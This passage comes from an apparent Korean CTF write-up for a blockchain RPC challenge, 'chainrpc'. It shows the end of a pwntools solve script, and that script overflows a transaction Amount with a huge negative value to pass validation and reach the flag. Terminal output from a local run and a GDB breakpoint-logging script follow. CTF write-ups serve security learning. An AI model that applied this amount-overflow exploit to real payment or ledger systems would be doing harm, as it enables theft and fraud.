success(f"orig amount: {amount}")

payload["args"]["Amount"] = -2147483648 - 99999999
amount = payload["args"]["Amount"]
success(f"new amount: {amount}")

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


p.interactive()

Result

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test3_2.py 
[+] Starting local process './chainrpc': pid 6694
[+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"}
[+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"}
[+] orig amount: 50
[+] new amount: -2247483647
[+] payload: {"type": 6, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50, "From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": -2247483647, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}, "from": "CCCC"}
[*] Switching to interactive mode
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
Checking transaction
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
Sending transaction
flag{fake_flag}

GDB Script

후킹으로 반환값과 매개변수를 알아보려했는데 안되서
GDB 스크립트로 대체.

import gdb

# 주소별 함수 이름 매핑
START_HOOK_NAMES = {
    "0x4EA0E0": "chainrpc_pkg_command_getArgType",
    "0x4EA200": "chainrpc_pkg_command_ExecuteCommand",
}
END_HOOK_NAMES = {
    "0x4EA292": "chainrpc_pkg_command_getArgType",
    "0x4EAD65": "chainrpc_pkg_command_ExecuteCommand",
}

def get_hex_reg(reg):
    try:
        val = int(gdb.parse_and_eval(f"${reg}"))
        return hex(val)
    except gdb.error:
        return "0x0"

class ChainrpcHook(gdb.Breakpoint):
    """START 지점 후킹"""
    def __init__(self, addr):
        super().__init__(f"*{addr}", gdb.BP_BREAKPOINT)
        self.addr = addr
        self.silent = True

    def stop(self):
        # 매핑된 함수 이름 가져오기 (없으면 주소 그대로)
        func = START_HOOK_NAMES.get(self.addr, self.addr)
        # 레지스터값 수집
        regs = { r: get_hex_reg(r)
                 for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") }
        print(f">>> [START hook at {func} ({self.addr})]\n"
              f"    RIP = {regs['rip']}\n"
              f"    args = {regs}")
        return False

class ChainrpcHookEnd(gdb.Breakpoint):
    """END 지점 후킹"""
    def __init__(self, addr):
        super().__init__(f"*{addr}", gdb.BP_BREAKPOINT)
        self.addr = addr
        self.silent = True

    def stop(self):
        # 매핑된 함수 이름 가져오기 (없으면 주소 그대로)
        func = END_HOOK_NAMES.get(self.addr, self.addr)
        regs = { r: get_hex_reg(r)
                 for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") }
        print(f">>> [END   hook at {func} ({self.addr})]\n"
              f"    RIP = {regs['rip']}\n"
              f"    regs = {regs}")
        return False

# START 후킹 주소들
for addr in START_HOOK_NAMES:
    ChainrpcHook(addr)

# END 후킹 주소들
for addr in END_HOOK_NAMES:
    ChainrpcHookEnd(addr)